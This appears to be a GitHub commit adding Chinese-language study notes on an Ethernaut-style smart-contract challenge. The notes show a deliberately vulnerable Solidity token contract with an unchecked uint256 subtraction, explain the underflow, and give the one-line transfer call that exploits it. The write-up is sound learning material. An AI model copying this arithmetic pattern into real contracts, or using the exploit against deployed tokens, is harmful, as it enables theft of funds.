Skip to content

Commit 2b96834

Browse files
committed
Add study notes for 2025-08-21
1 parent 74fb371 commit 2b96834

1 file changed

Lines changed: 60 additions & 0 deletions

File tree

SakuraTokoyomi.md

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,66 @@ web3萌新
1515
## Notes
1616

1717
<!-- Content_START -->
18+
# 2025-08-21
19+
20+
## 5.Token
21+
22+
这一关的目标是攻破下面这个基础 token 合约
23+
24+
你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好
25+
26+
这可能有帮助:
27+
28+
- 什么是 odometer?指的是整数溢出/下溢
29+
30+
```solidity
31+
// SPDX-License-Identifier: MIT
32+
pragma solidity ^0.6.0;
33+
34+
contract Token {
35+
mapping(address => uint256) balances;
36+
uint256 public totalSupply;
37+
38+
constructor(uint256 _initialSupply) public {
39+
balances[msg.sender] = totalSupply = _initialSupply;
40+
}
41+
42+
function transfer(address _to, uint256 _value) public returns (bool) {
43+
require(balances[msg.sender] - _value >= 0);
44+
balances[msg.sender] -= _value;
45+
balances[_to] += _value;
46+
return true;
47+
}
48+
49+
function balanceOf(address _owner) public view returns (uint256 balance) {
50+
return balances[_owner];
51+
}
52+
}
53+
```
54+
55+
漏洞点
56+
57+
```solidity
58+
require(balances[msg.sender] - _value >= 0);
59+
balances[msg.sender] -= _value;
60+
balances[_to] += _value;
61+
62+
```
63+
64+
表达式 balances[msg.sender] - _value 先计算,比如这里初始余额为20,转入21的value。
65+
66+
就会变成20-21 = -1
67+
68+
但是由于是uint不存在负数,根据计算机补码的显示规则会显示为一个超大的整数,因此balances[msg.sender]会是一个超级大数字。
69+
70+
攻击:
71+
72+
await contract.transfer('0xEEC56C8d81E9231Ac214096c0a251a0948D69aE3',21)
73+
74+
查看
75+
76+
await contract.balanceOf(player)
77+
1878
# 2025-08-20
1979

2080
## 4.Telephone

0 commit comments

Comments
 (0)